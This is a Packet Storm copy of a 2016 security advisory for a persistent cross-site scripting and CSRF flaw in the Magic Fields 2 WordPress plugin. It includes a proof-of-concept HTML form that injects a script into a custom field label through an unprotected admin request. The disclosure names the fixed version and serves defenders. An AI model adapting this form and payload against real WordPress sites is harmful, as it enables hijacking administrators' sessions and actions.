exploit the possibilities

WordPress Magic Fields 2 Cross Site Scripting

WordPress Magic Fields 2 Cross Site Scripting
Posted Aug 16, 2016
Authored by Securify B.V., Burak Kelebek

WordPress Magic Fields 2 plugin version 2.3.2.4 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | bb2db1fbcf679ba2a9d59fd970b39c27

WordPress Magic Fields 2 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Persistent Cross-Site Scripting in Magic Fields 2 WordPress Plugin
------------------------------------------------------------------------
Burak Kelebek, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A Cross-Site Scripting vulnerability was found in the Magic Fields 2
plugin. This issue allows an attacker to perform a wide variety of
actions, such as stealing Administrators' session tokens, or performing
arbitrary actions on their behalf. In order to exploit this issue, the
attacker has to lure/force a logged on WordPress Administrator into
opening a malicious website.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160724-0017

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on Magic Fields 2 version 2.3.2.4.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is fixed in version 2.3.3

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_magic_fields_2_wordpress_plugin.html

The Magic Fields plugin lacks a CSRF (nonce) token on the request of adding a magic field. The magic field lacks output encoding which could result in malicious script inserted by an attacker.

You need to lure a logged-in admin to follow a malicious link containing the poc below.
Proof of concept

The proof of concept below injects script code in the "Login Required Message" in the settings page.

<html>
<body>
<form action="http://build.wordpress-develop.dev/wp-admin/admin.php?page=mf_dispatcher&init=true&mf_section=mf_custom_fields&mf_action=save_custom_field" method="POST">
<input type="hidden" name="mf_field[core][id]" value="" />
<input type="hidden" name="mf_field[core][post_type]" value="page" />
<input type="hidden" name="mf_field[core][custom_group_id]" value="" />
<input type="hidden" name="mf_field[core][label]" value="foo"><script>alert(1)</script>" />
<input type="hidden" name="mf_field[core][name]" value="foo" />
<input type="hidden" name="mf_field[core][description]" value="asdasdasd" />
<input type="hidden" name="mf_field[core][type]" value="audio" />
<input type="hidden" name="mf_field[core][required_field]" value="0" />
<input type="hidden" name="mf_field[core][duplicate]" value="0" />
<input type="hidden" name="submit" value="Save Custom Field" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    16 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close